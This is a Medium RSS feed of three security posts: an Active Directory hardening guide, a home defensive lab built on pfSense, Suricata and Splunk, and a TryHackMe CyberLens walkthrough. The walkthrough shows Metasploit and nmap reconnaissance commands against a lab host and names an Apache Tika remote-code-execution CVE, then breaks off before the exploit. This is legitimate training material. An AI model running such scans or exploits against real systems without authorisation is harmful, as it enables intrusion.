<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Roman Tolstosheyev on Medium]]></title>
        <description><![CDATA[Stories by Roman Tolstosheyev on Medium]]></description>
        <link>https://medium.com/@rtolstosheyev?source=rss-28460bb11a7d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ipUlVK6BMrrxAWeLmZqxPQ.jpeg</url>
            <title>Stories by Roman Tolstosheyev on Medium</title>
            <link>https://medium.com/@rtolstosheyev?source=rss-28460bb11a7d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 03:45:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rtolstosheyev/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Windows Active Directory Hardening in Action]]></title>
            <link>https://rtolstosheyev.medium.com/windows-active-directory-hardening-in-action-d821fb060bed?source=rss-28460bb11a7d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d821fb060bed</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hardening]]></category>
            <dc:creator><![CDATA[Roman Tolstosheyev]]></dc:creator>
            <pubDate>Sat, 04 Jan 2025 19:29:36 GMT</pubDate>
            <atom:updated>2025-01-04T19:29:36.608Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*HhNtGrM9ANVhzTSf1rav-Q.jpeg" /><figcaption>Picture generated by DALL-E</figcaption></figure><p><strong><em>The security of Active Directory is often a critical concern, as it is responsible for managing user identities, providing essential services, and much more. Ensuring the security of this key infrastructure element is, therefore, absolutely crucial. This guide outlines fundamental concepts and simplified principles for hardening Windows and Active Directory, focusing on the Group Policy mechanism and its monitoring.</em></strong></p><h3>Shortly about AD</h3><p>Active Directory consists of various objects, such as computers, users, groups, printers, and other services (e.g., applications, shared folders). When discussing computers in AD, this includes servers, which can serve as either <strong>Domain Controllers (DCs)</strong> or <strong>Member Servers (MSs)</strong>.</p><ul><li><strong>Domain Controller (DC):</strong> A server hosting the <strong>Active Directory Domain Services (AD DS)</strong> role, responsible for managing authentication, identity, and access within a domain. Sometimes, DCs are considered a distinct object type due to their critical role in the infrastructure.</li><li><strong>Member Server (MS):</strong> A server joined to the Active Directory domain that runs applications or services (e.g., file servers, web servers, SQL servers). Member Servers rely on the DC for authentication and authorization.</li></ul><p>All these objects are organized into <strong>Organizational Units (OUs)</strong> — logical groupings for objects like user accounts, service accounts, or computer accounts. OUs can be structured based on departments (e.g., HR, IT, Accounting), resources (e.g., servers, printers, DCs), or security requirements (e.g., Restricted Access, Standard Access).</p><p>To configure objects in AD granularly, <strong>Group Policies</strong> are used.</p><ul><li><strong>Group Policy Object (GPO),</strong> or simply <strong>Policy:</strong> A set of rules and requirements applied to target objects, such as enforcing password complexity or restricting certain actions on computers. GPOs enforce settings on users and computers.</li><li><strong>Group Policy Object Templates:</strong> Templates from which GPO definitions are derived, specifying what settings can be enforced.</li></ul><p>Typically, GPOs are linked to <strong>Organizational Units</strong> or even the <strong>Domain Root</strong> (applying to all objects in the domain). However, <strong>Local Group Policies</strong> can also be configured on individual computers, independently of AD. A notable feature of Group Policies is that a single GPO can be created and linked to multiple OUs simultaneously, enabling efficient management across the domain.</p><h3>Setup</h3><p>This setup is based on <strong>Windows Server 2022 (en-US)</strong>; however, the logic applies to all Windows Server versions newer than <strong>Windows Server 2000</strong>.</p><h4>Virtual Machines</h4><p>First, download the <strong>Windows Server 2022 ISO image</strong>. For our purposes, a license is not required, as the 90-day trial period is more than sufficient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VeI5b-l17rWYwu-54C2lLw.png" /></figure><p>Let’s create two virtual machines using <strong>VirtualBox</strong> as the hypervisor in this example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8uZIHQGyqVYaX31Hum-vmA.png" /></figure><ul><li><strong>Windows DC:</strong> This will serve as the future Domain Controller (DC) of our Active Directory.</li><li><strong>Windows Client:</strong> This will serve as the future Member Server in our Active Directory.</li></ul><h3>Virtual Network</h3><p>Setting up the network is crucial, as all instances need to communicate with each other. To establish connectivity, a network interface with a DHCP server is created in VirtualBox. I named it <strong>vboxnet0</strong>. This step is necessary to create a virtual network within the current virtualization context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJNoV9CGYqVzH9YIChXcKg.png" /></figure><p>The network is configured as <strong>192.168.56.1/24</strong>. Each virtual machine needs to be set to use a <strong>Host-Only adapter</strong> for connectivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*nE0m9bcwtmJ5GPcvYd-nuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*3EdUzI10EZDI6RfOgvxuMQ.png" /></figure><p>Finally:</p><ul><li><strong>Domain Controller IP address:</strong> 192.168.56.5</li><li><strong>Member Server IP address:</strong> 192.168.56.6</li></ul><p>If internet access is required, an additional <strong>NAT</strong> or <strong>Bridged adapter</strong> can be added. The only prerequisite is that the host machine must have internet access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*QpyKa6UO_KXMU-TBG1mFSQ.png" /></figure><h4>Domain Controller</h4><p>One instance will be set up as the <strong>Domain Controller</strong>. To configure it, start <strong>Server Manager</strong> and launch the <strong>Add Roles and Features Wizard</strong>. Choose the <strong>Role-based or feature-based installation</strong> option to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-kwWXWbvCH0MAv1W4FZjoA.png" /></figure><p>The <strong>Active Directory Domain Services (AD DS)</strong> role is selected, along with essential tools such as <strong>Group Policy Management</strong> and <strong>AD DS Tools</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CIqmCyApdKdB43yXr-gEnw.png" /></figure><p>After installing the <strong>AD DS</strong> role, the server is promoted to a <strong>Domain Controller</strong>. This process involves creating or joining a domain, configuring DNS, and setting a <strong>Directory Services Restore Mode (DSRM)</strong> password. For this setup, the domain name <strong>ad.roman.az</strong> was selected.</p><p>The promotion establishes the server as the central system for authentication and directory management within the domain. It enables the server to manage users, computers, and Group Policies, providing centralized control over the domain environment.</p><h4>Member Server</h4><p>Before proceeding, we need to resolve the domain resolution issue. The problem is that <strong>ad.roman.az</strong> is currently known only to the Domain Controller (DC). For Active Directory to function properly, the DC must participate in domain name resolution. The simplest solution is to set the <strong>Domain Name Server (DNS)</strong> address to the DC’s IP address in the network adapter settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*bOvVDna3OEHctO7UwxeOog.png" /></figure><p>Once the network setup is complete, we can connect the “Windows Client” to the domain by navigating to <strong>System Properties &gt; Computer Name &gt; Change</strong> and selecting <strong>Domain</strong>. In the provided field, enter the Active Directory (AD) domain name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5TISWKncZuExsxclZvAWhQ.png" /></figure><p>After the reboot, we can open <strong>System Properties</strong> again to verify the changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2URP_iEpSgZ1EKfZzkrIg.png" /></figure><h4>Duality of Accounts</h4><p>From this point onward, there are two types of accounts:</p><ol><li><strong>Domain Accounts:</strong> Accounts created and managed by Active Directory (AD).</li><li><strong>Local Accounts:</strong> Accounts created directly on the machine, such as the <strong>Administrator</strong> account set up during the operating system installation.</li></ol><h3>Recommendations of CIS Benchmark</h3><p>As a security standard, the recommendations from the <strong>Center for Internet Security’s (CIS) Windows Server 2022 Benchmark v2.0</strong> are used. These recommendations are available as a <a href="https://workbench.cisecurity.org/files/5718/download/8699">PDF document</a> or <a href="https://workbench.cisecurity.org/benchmarks/12626">online</a> but require a <strong>CIS Workbench account</strong> for access. The materials are comprehensive, providing detailed descriptions and highlighting all the necessary requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dX1ODNjyZnTRw2aOHgwuHQ.png" /></figure><p>The advantage of these recommendations is that most of them can be implemented through the <strong>AD Group Policy mechanism</strong>. This ensures that whenever a machine joins the domain, it automatically receives the necessary security configurations enforced by the policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*kCrvW00iCDuhVGYzZtHBrA.png" /></figure><p>Some policies are quite harsh and may be not applicable everywhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*4NzHdxSIquzw_MHYDedM4w.png" /></figure><p>The recommendations are divided into three levels:</p><ul><li><strong>L1:</strong> General recommendations applicable to all servers, focusing on practical and prudent security measures.</li><li><strong>L2:</strong> Designed for environments where security is critical.</li><li><strong>NG (Next Generation Security):</strong> Advanced Windows security features that have specific configuration dependencies and may not be compatible with all systems.</li></ul><p>Additionally, recommendations are categorized as <strong>DC Only</strong> or <strong>MS Only</strong>, indicating whether they are specifically for Domain Controllers or Member Servers, respectively.</p><p>It’s important to note that no system is ever 100% secure. Security often requires a trade-off with functionality, and compromises are sometimes necessary to maintain operational balance.</p><h3>Group Policy Templates</h3><h4>GPO templates</h4><p>By default, Windows Server provides a wide range of policy templates out of the box. However, these templates do not cover every possible setting, so additional templates may be required.</p><p>As an example, there are additional <a href="https://www.microsoft.com/en-us/download/details.aspx?id=49030">Microsoft Administrative Templates for the MS Office</a>, or <a href="https://support.google.com/chrome/a/answer/187202?hl=en">Google Chrome Group Policy Administrative Templates</a>. Templates Required for CIS Compliance</p><p>To ensure compliance with the CIS Benchmark, the following templates are needed:</p><ul><li><strong>Standard Windows Server 2022 Administrative Templates:</strong> Included by default.</li><li><strong>Administrative Templates for Windows 11 (September 2022 Update):</strong> For managing policies on systems running Windows 11.</li><li><strong>PerfTrack Policy Template:</strong> Used for performance tracking configurations.</li><li><strong>MSS Legacy Templates:</strong> For managing legacy security settings.</li></ul><p>To simplify the process, I compiled all the necessary templates into a single GitHub repository: <a href="https://github.com/IZOBRETATEL777/Awesome-GPO-Templates-Windows-Server-2022"><strong>Awesome-GPO-Templates-Windows-Server-2022</strong></a>.</p><p>Each template consists of two files:</p><ul><li><strong>ADMX (or ADM for older versions):</strong> The template itself.</li><li><strong>ADML:</strong> Provides localization information, such as displaying policy settings in the appropriate language.</li></ul><h4>Installation</h4><p>Normally, we have to put all ADMX files to the <em>C:\Windows\PolicyDefinitions</em> and ADML files to the corresponding language folder of that directory (<em>en-US</em> in our case). Nevertheless, that folder is used by Local Group Policy Editor. If we want to use our policies across the Domain Controller it is not an appropriate choice. That is why we should consider two paths:</p><ul><li><em>\\ad.roman.az\SYSVOL\ad.roman.az\Policies\PolicyDefinitions </em>— a shared directory of the domain that plays a role of the <strong>Central Store</strong>. By default, the is no <em>PolicyDefinitions</em> folder, so we need to create it in advance. Then, just put all ADMX/ADML files here as in Local Group Policies case.</li><li><em>C:\Windows\SYSVOL\sysvol\ad.roman.az\Policies</em> — replication of the Central Store in Domain Controller. DC simply copies that folder and then uses it. Therefore, there is no need to copy ADML/ADMX files to the different DC if we have more that one.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*W7cFu_xyVVtkRGsJj_jawg.png" /></figure><p>Finally, we should see the message in the Group Policy Editor that all administrative templates are retrieved from the Central Store.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TzxxPsdw4GBBSRQXLt3--A.png" /></figure><p>A cool thing is that there is no need to copy or replicate templates to the Member Servers and other computers/objects since they will receive actual configs/registry settings, not ADMX/ADML files.</p><h4>Writing Policies</h4><p>The first thing that comes to mind is to write one policy per one CIS recommendation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*SX2x9Xo2gUXqDuHzYANZYw.png" /></figure><p>… and then link it to the Domain Root so all objects in AD get that policies and start to be “secure”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*0ufFQZvdCYh3LatfmTqXEw.png" /></figure><p>However, the current approach is not practical due to the following challenges:</p><ol><li><strong>Controller Login:</strong> Instead of sending a single “big pack of settings,” the Domain Controller (DC) must transmit numerous smaller settings, which the target computer then applies one by one. This can cause delays during the login process and may overload the DC.</li><li><strong>Heterogeneous Objects:</strong> Not all computers and servers should receive the same policies. For instance, <strong>MS Only</strong> policies are not applicable to Domain Controllers. To ensure granularity, policies should be assigned to <strong>Organizational Units (OUs)</strong> that correspond to their purpose and required security level.</li></ol><p>To address these issues, it is better to create OUs and organize the CIS recommendations into multiple policies based on their specific nature and applicability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*asFtrhplHAwSK8SjUiI6PQ.png" /></figure><h4>Helpful Commands</h4><ul><li><strong>gpupdate</strong>: Refreshes local policy data, applying any new policies or updating existing ones.</li><li><strong>gpupdate /force</strong>: Forces a complete reapplication of all policies, overwriting local data.</li><li><strong>gpresult /r</strong>: Displays a summary of applied and declined policies.</li><li><strong>gpresult /h GPReport.html</strong>: Generates a detailed HTML report of the applied policies and their settings.</li></ul><p><strong>Installing Ready Policies</strong></p><p>If we look to the <em>\\ad.roman.az\SYSVOL\ad.roman.az\Policies\</em> directory, it seems to be technically possible to just copy all the folders with policies (named after their GUIDs) and put it here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*EuIT5s7yy24ZGNAYz4phpQ.png" /></figure><p>To simplify the job, <a href="https://www.microsoft.com/en-us/download/details.aspx?id=55319">Microsoft Security Compliance Toolkit</a> with Windows Server 2022 Security Baseline can used. To install it, we need to download the achieve with the policies and execute <em>Baseline-ADImport.ps1</em> script to import that policies to AD. Unfortunately, they do not cover all requirements of CIS and still manual work or better policies dumps is required.</p><h3>Monitoring</h3><p>Monitoring can be implemented by <a href="https://wazuh.com/"><strong>Wazuh</strong></a> — free SIEM and XDR. To make it simpler I just download and deploy <a href="https://documentation.wazuh.com/current/deployment-options/virtual-machine/virtual-machine.html">VM Box of Wazuh from the official web-site</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t_CLPrl0OfRlWGJo3HZiEg.png" /></figure><p>Of course, <strong>Wazuh</strong> needs to be in the same network as the other machines, so we configure it to use the same <strong>Host-Only adapter</strong>. Once set up, the <strong>Wazuh dashboard</strong> can be accessed at: https://192.168.56.7/app/wz-home. The default credentials are <strong>admin:admin</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PZuy4NliHhQl7XRXdY5zMA.png" /></figure><p>Each target machine needs to download the <strong>Wazuh agent</strong>. To do this, navigate to: <strong>Server Management &gt; Endpoint Summary &gt; Deploy Agent</strong> in the Wazuh dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pp4i0uwxh3z_OC_TLMUuxg.png" /></figure><p>Execute the provided <strong>PowerShell script</strong> as an administrator on the target machine. Note that <strong>admin privileges</strong> and <strong>internet access</strong> are required. Once the script is executed, start the <strong>Wazuh agent service</strong>.</p><p>In addition to regular monitoring, you can evaluate compliance levels using the <strong>Security Configuration Assessment (SCA) Module</strong>. To do this, navigate to <strong>Endpoint Summary</strong>, select <strong>Configuration Assessment</strong>, and choose the target agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8UOrmNPNr0eskJ27waiN7w.png" /></figure><p>In contrast, this is the same machine after joining the Active Directory (AD) and having all policies applied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XV0JoHHAF0RVgjF9gpYh9A.png" /></figure><p>Much better. Fun fact: if the machine leaves the domain, the vast majority of policies will lose their effect, leaving you with fewer than 40 policies again.</p><h3>Conclusion</h3><p>Active Directory (AD) is a powerful tool for centralized management, enabling streamlined control over users, computers, and security policies. By properly configuring OUs, applying CIS Benchmarks, and leveraging Group Policies, administrators can enhance security and ensure compliance. However, maintaining AD requires careful planning, as changes like joining or leaving the domain significantly impact policy enforcement. With tools like Wazuh for monitoring and compliance assessment, organizations can further strengthen their security posture while maintaining operational efficiency.</p><h3>Disclaimer</h3><p><strong>The configurations and recommendations provided in this guide are intended primarily for lab environments and testing purposes. While they may serve as a foundation for real-world implementations, they should be thoroughly evaluated and adapted to meet the specific needs and security requirements of your production environment. The authors are not responsible for any issues or damages resulting from the application of this information. Always consult with qualified IT professionals and refer to official documentation when implementing security measures or configuring Active Directory.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d821fb060bed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyber Security Lab: Free, Easy, At Home]]></title>
            <link>https://rtolstosheyev.medium.com/cyber-security-lab-free-easy-at-home-520d56068752?source=rss-28460bb11a7d------2</link>
            <guid isPermaLink="false">https://medium.com/p/520d56068752</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[laboratory]]></category>
            <category><![CDATA[cybersecurity-engineering]]></category>
            <dc:creator><![CDATA[Roman Tolstosheyev]]></dc:creator>
            <pubDate>Mon, 02 Sep 2024 22:10:20 GMT</pubDate>
            <atom:updated>2024-09-02T22:10:20.813Z</atom:updated>
            <content:encoded><![CDATA[<p>Everyone has to start with the first steps in understanding the complex world of cybersecurity. In today’s digital landscape, where threats are ever-evolving, it’s essential to grasp how foundational defense mechanisms work to protect vulnerable applications. By diving into hands-on labs and real-world scenarios, we can learn how to deploy, configure, and optimize tools like Web Application Firewalls (WAFs), Intrusion Prevention Systems (IPSs), and Security Information and Event Management (SIEM) systems. These practical experiences lay the groundwork for mastering cybersecurity and emphasize the importance of integrating strong security practices from the development phase through deployment.</p><h3>Architecture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*C-ZFfWs8Dt6LhFipNmBgQw.png" /></figure><p><strong>Defense is one of the most important approaches in Cyber Security. To offer a comprehensive defense mechanism, three key points should be considered:</strong></p><ol><li><strong>Monitoring</strong> — the collection and analysis of different metrics.</li><li><strong>Detection</strong> — the identification of potential threats or malicious activity.</li><li><strong>Response</strong> — the measures taken to prevent potential damage caused by a threat.</li></ol><p><strong>These elements are applicable to almost any information system. Let’s consider this scenario:</strong> we have one or several web applications that need to be defended. To address this challenge, we can use a web application firewall to monitor, detect, and prevent malicious actions. However, sometimes we need to enhance effectiveness by setting up more specific components such as Intrusion Prevention Systems (IPS) and Security Information and Event Management (SIEM) systems, in conjunction with the firewall.</p><p><strong>An example of such a model might include the following components:</strong></p><ul><li><strong>PfSense</strong> — Firewall</li><li><strong>Suricata</strong> — IPS</li><li><strong>Squid Proxy</strong> — To hide the Trusted Zone under the firewall.</li><li><strong>Splunk</strong> — SIEM</li><li><strong>bWAP</strong> — Example of a web application</li></ul><p>The environment can be set up using virtualization technologies, Oracle Virtual Box in our case.</p><h3>Web Application Firewall</h3><p>First, the required machines should be set up. image for PfSense can be downloaded from the official website: <a href="https://www.pfsense.org/download/">https://www.pfsense.org/download/</a>. Then, it should be installed as BSD system on Virtual Box:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*OqTFIKXpdhWxtRK5wJW-Vg.png" /></figure><p>We will need two network adapters:</p><ul><li><strong>Bridged Adapter</strong> — responsible for the Public Internet Connectivity. In PfSense will be assigned as WAN.</li><li><strong>Internal Network </strong>— responsible for the connectivity of trusted zone. In PfSense will be assigned as LAN.</li></ul><p>After Setup, it should like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdqm67ThSCBEqruOPVP2IA.png" /></figure><p>We obtained the IP address <em>192.168.0.200</em> for the WAN interface and <em>192.168.1.1</em> for the LAN interface. The LAN interface will act as the gateway for the rest of the components. PfSense provides routing functionalities as well as a DHCP server out of the box.</p><p>For our future needs, we need to enable additional services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QsVGu21LPhT4n2BHhzArgA.png" /></figure><p><strong>Squid Proxy</strong> — to provide proxy services.</p><p><strong>Suricata</strong> — to serve as an IDS (Intrusion Detection System).</p><p>Both packages can be installed using the integrated Add-ons Store. Additionally, we need to ensure that the Systemd daemon is enabled to send all logs from the interfaces to the SIEM.</p><h3>Suricata</h3><p>When configuring Suricata, we can enable some basic rules, such as those designed to protect against SQL injections:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fFHDjAwDayuGaDZLcfa6fQ.png" /></figure><p>…and, of course, enable it in prevention mode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGRr7-58zfQ4ul-qgKOanA.png" /></figure><h3><strong>Splunk</strong></h3><p>The next step is to set up the SIEM. First, a virtual machine (VM) with an operating system needs to be created. To simplify this process, you can use a ready-made VM image from <a href="https://www.osboxes.org/">OSBoxes</a>. To conserve computing resources, the Lubuntu 22.04 image was selected. The network adapter should be set to Internal Network.</p><p>SIEM Splunk Enterprise was installed using the standard DEB package from the official download page: <a href="https://www.splunk.com/en_us/download/splunk-enterprise.html">https://www.splunk.com/en_us/download/splunk-enterprise.html</a>. The free limitations are sufficient for the current requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rs9hnyZmrSfVl3lVOEEvcg.png" /></figure><p>In PfSense, the destination port and address for the Syslog logs should be specified. The new SIEM machine is assigned the IP address <em>192.168.1.2.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9uRz4hNyUPPFjyHcfmz1g.png" /></figure><p>It is very important add a new data input of type UDP in Splunk as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*AXF1zNwfx8tPnEisTz7LoA.png" /></figure><p>However, the default logs will be quite raw, so it would be a good idea to write a parser for them. A very simple parser might look like this:</p><pre>import sys<br>import re<br>from splunklib.searchcommands import dispatch, StreamingCommand, Configuration, Option, validators<br><br>@Configuration()<br>class ParseLogsCommand(StreamingCommand):<br>    def stream(self, records):<br>        for record in records:<br>            raw_log = record.get(&#39;_raw&#39;, &#39;&#39;)<br><br>            match = re.search(r&#39;\{TCP\}\s+(\d+\.\d+\.\d+\.\d+):\d+\s+-&gt;\s+(\d+\.\d+\.\d+\.\d+):\d+&#39;, raw_log)<br>            attack_match = re.search(r&#39;\]\s+(.*?)\s+\[Classification&#39;, raw_log)<br><br>            if match:<br>                record[&#39;attacker_ip&#39;] = match.group(1)<br>                record[&#39;target_ip&#39;] = match.group(2)<br>            if attack_match:<br>                record[&#39;attack_name&#39;] = attack_match.group(1)<br><br>            yield record<br><br>dispatch(ParseLogsCommand, sys.argv, sys.stdin, sys.stdout, __name__)</pre><p>We need to place this Python code in the <em>$SPLUNK_HOME/etc/apps/suricata_parser</em> directory. More information about creating Splunk Apps can be found here: <a href="https://dev.splunk.com/enterprise/docs/developapps/createapps/">https://dev.splunk.com/enterprise/docs/developapps/createapps/</a>.</p><p>After properly creating the app, we can enable it in Splunk:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oGvKjyvB53chfvVz3bA0pA.png" /></figure><h3><strong>Web Application</strong></h3><p>The final step is to configure the target web application, which is bWAPP. A ready-made VM image can be found on VulnHub: <a href="https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/">https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/</a>. It should be deployed using only the Internal Adapter and will be assigned the IP address <strong><em>192.168.1.3.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*m6KBY8GU-4tXfzzsuNqmNQ.png" /></figure><h3><strong>Squid Proxy</strong></h3><p>Now, it’s time to test all requests to and from the Trusted Zone clients, ensuring they are properly proxied within the firewall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ETl6negdEF9TLUT3Z08CdQ.png" /></figure><p>It is possible to enforce the use of custom certificates for proxying. Without the certificate, clients will not be able to access the public internet. The certificate can be generated through the PfSense interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*238igFA-PCUQN_VB6Yd87A.png" /></figure><h3>Testing</h3><p>In order to test the system, we can send a request with SQL injection to the web application from external host from the Public Internet zone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*bHazxM58OOKW_vBClLb34Q.png" /></figure><p>In PfSense it is possible to monitor how requests are blocked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGRr7-58zfQ4ul-qgKOanA.png" /></figure><p>In the SIEM corresponding events are available as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3g5d3AYQ4VCZW61wEaj5aA.png" /></figure><p>However, it is possible to apply our created app as filter and print the results in more compact form:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jEEN6d8iSNq9ps3rkqFR0Q.png" /></figure><h3>Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MJvf2TfiRbNocvAbRo7vpg.png" /></figure><p>The given example demonstrated how properly configured defense mechanisms can prevent dangerous attacks, even with a completely vulnerable application. However, this does not mean that WAFs, IPSs, and SIEMs can replace the need for proper security testing and hardening of the application during the development and deployment process.</p><p>This type of lab helps users understand how applications are deployed, as well as the underlying network topologies and protocols. Therefore, it is crucial to allocate time for such labs.</p><p><strong><em>Disclaimer</em></strong><em>: the article in inspired by a challenge in </em><a href="https://world-it-planet.org/"><em>IT-Planeta challenge</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=520d56068752" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe CyberLens: Mastering Metasploit Framework]]></title>
            <link>https://rtolstosheyev.medium.com/tryhackme-cyberlens-mastering-metasploit-framework-c8a116353a67?source=rss-28460bb11a7d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8a116353a67</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Roman Tolstosheyev]]></dc:creator>
            <pubDate>Wed, 22 May 2024 21:49:33 GMT</pubDate>
            <atom:updated>2024-05-25T09:02:06.844Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*nXO6aT9h2YCk-7do88itrw.png" /></figure><h3>Introduction</h3><p><strong>Metasploit</strong> is a very popular framework that can cover almost the entire “lifecycle” of an attack. It combines enumeration, vulnerability scanning, exploitation, and other features, allowing users to perform all necessary penetration testing exercises from one interface. This is perfectly demonstrated in the TryHackMe room called CyberLens.</p><p><strong>Link to the TryHackMe CyberLens:</strong> <a href="https://tryhackme.com/r/room/cyberlensp6">https://tryhackme.com/r/room/cyberlensp6</a></p><h3>Walkthrough</h3><h4>Enumeration</h4><p>As usual, the first step is to identify points of connection with our target systems: open ports. Normally, we can do this with NMAP or Nikto, whereas Metasploit provides the same ability out of the box.</p><p>At the beginning, we need to define Remote Hosts (<em>RHOSTS</em>). This will identify the target IP for the NMAP module:</p><pre>set RHOSTS 10.10.39.10</pre><p>… where 10.10.39.10 is IP of my target machine.</p><p>Now, we can activate the module</p><pre>use auxiliary/scanner/portscan/tcp</pre><p>For more adjustments, such as port range we can use command:</p><pre>show options</pre><p>… however, defaults are OK for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*izcTXDIAYwFrAjfT7lnyRg.png" /></figure><p>Fun fact: You still have to supply NMAP with the target IP as the argument. Nevertheless, you can also use the rest of the NMAP commands, including:</p><ul><li><em>-A</em> — Identification of services</li><li><em>-sV </em>— Identification of services versions</li></ul><pre>db_nmap -sV -A 10.10.39.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vyg-Gcvm3vJsnOIq6dDfMg.png" /></figure><p>It is possible to notice that we have a web server on port 80. One of the functionalities is image metadata extraction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AnSvNMemRsap7fopX4c21Q.png" /></figure><p>Naturally, the first thing I tried was CVE-2021–22204 in ExifTool, which caused Remote Code Execution, but it was in vain. Then, I tried to investigate the source code of the page and found an interesting snippet among the JavaScript code:</p><pre>fetch(&quot;http://cyberlens.thm:61777/meta&quot;, {<br>  method: &quot;PUT&quot;,<br>  body: fileData,<br>  headers: {<br>  &quot;Accept&quot;: &quot;application/json&quot;,<br>  &quot;Content-Type&quot;: &quot;application/octet-stream&quot;<br>  }<br>})</pre><p>… which basically shows that we overlooked one important port: <em>61777</em>. This was due to the high number of the port. Let’s scan it as well using the <em>-p</em> flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*cM_irlMkxynrt8dBwBFRKQ.png" /></figure><p>We found an <em>Apache Tika 1.17</em> server with <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-1335">CVE-2018–1335</a> (Remote Code Execution).</p><h4>Le Classique: Vulnerable Apache</h4><p>Using capabilities of Metasploit we can find an exploit for that as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*NjMbnPoZVYLQhpQL3XIURw.png" /></figure><p>Fortunately, it is for Windows since our target based on this OS as well. Let’s select the exploit:</p><pre>use 